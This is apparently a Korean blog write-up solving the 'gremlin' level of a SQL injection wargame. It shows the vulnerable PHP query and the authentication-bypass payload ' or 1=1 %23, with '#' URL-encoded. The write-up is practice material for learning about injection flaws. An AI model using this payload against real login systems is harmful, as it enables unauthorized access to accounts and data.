MAIN IDEA : SQL Injection

 

 

 

// if result true
if($result['id'])
	solve("gremlin");

 

위의 if 문을 만족하도록 우회를 해야하는 문제이다

result의 id 값이 존재해야한다

 

// save result
$result = @mysqli_fetch_array(mysqli_query($db,$query));

 

위의 코드를 통해 "result"에는 mysql 쿼리의 결과가 저장되는 것을 알 수 있다

 

// key query
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

 

위의 쿼리를 만족해야하지만 DB에 있는 ID와 PW를 알지 못한다

 

// key point
select id from prob_gremlin where id='test' and pw='' or 1=1 #'

 

위의 쿼리는 오류 없이 정상 동작한다

 

// answer
?id=test&pw=' or 1=1 #

 

위와 같이 값을 입력하면 답을 구할 수 있다

 

그러나 정답처리 되지 않았고 쿼리에 #이 제외된 것을 확인할 수 있다

 

// answer
?id=test&pw=' or 1=1 %23

 

위와 같이 #을 %23으로 url 인코딩 해주면 #을 입력할 수 있다

 

 

 

 

'Wargames' 카테고리의 다른 글

[LOS] goblin  (0) 2021.03.11
[LOS] cobolt  (0) 2021.03.11
[Wargame.kr] QR CODE PUZZLE  (0) 2021.02.07
[Wargame.kr] flee button  (0) 2021.02.07
[Wargame.kr] already got  (0) 2021.02.07

+ Recent posts